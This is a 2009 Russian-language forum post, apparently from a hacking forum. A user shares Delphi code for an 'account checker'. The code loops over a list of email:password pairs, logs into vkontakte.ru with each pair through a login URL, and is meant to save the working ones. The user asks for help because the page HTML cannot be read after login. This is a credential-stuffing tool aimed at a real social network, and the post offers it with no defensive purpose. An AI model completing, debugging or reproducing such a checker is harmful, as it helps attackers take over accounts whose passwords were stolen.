
22.09.2009, 18:05
|
|
Новичок
Регистрация: 24.04.2008
Сообщений: 13
Провел на форуме: 194929
Репутация:
0
|
|
хочу зделать чекер аков.
Вообшем ситема такая авторизация, смотрим код страницы, через рег.выражение ищем ссылку, и если она <> 1 или 0, то пишем мыло;пасс в файл и дальше....
так вот:
Код:
procedure TForm1.Button2Click(Sender: TObject);
var Count: Integer;
RegExp: TRegExpr;
Str1, Str2,ss,s: String;
P, i,j,z:integer;
HTMLDocument: IHTMLDocument2;
PersistFile: IPersistFile;
begin Z:=StrToInt(edit3.Text);
i:=0;
While i<= Memo1.Lines.Count do
begin if I<=Memo1.Lines.Count then
begin RegExp := TRegExpr.Create;
RegExp.Expression := '[_a-zA-Z\d\-\.]+@([_a-zA-Z\d\-]+(\.[_a-zA-Z\d\-]+)+)';
if RegExp.Exec(Memo1.lines[i]) then
begin
edit1.Text:= RegExp.Match[0];
RegExp.Expression := ':([^\s]+)';
if RegExp.Exec(Memo1.lines[i]) then
begin
ss:=RegExp.Match[0];
Delete(ss, 1, 1);
end;
edit2.Text:=ss;
s:='http://vkontakte.ru/login.php?email='+edit1.text+'&pass='+edit2.text+'&HTTP/1.0';
WebBrowser1.Navigate(s);
Sleep(Z);
HTMLDocument := WebBrowser1.Document as IHTMLDocument2;
Memo3.Text :=(HTMLDocument.all.Item(1, 0) as IHTMLElement).OuterHTML;
end;
I:=i+1;
end;
end;
end;
авторизовуюсь, а код страницы немогу открыть.
если
Код:
HTMLDocument := WebBrowser1.Document as IHTMLDocument2;
Memo3.Text := (HTMLDocument.all.Item(1, 0) as IHTMLElement).OuterHTML;
зделать в отдельную процедуру то робит.
что я зделал не так?
Последний раз редактировалось Mykola-bas; 22.09.2009 в 18:16..
|
|
|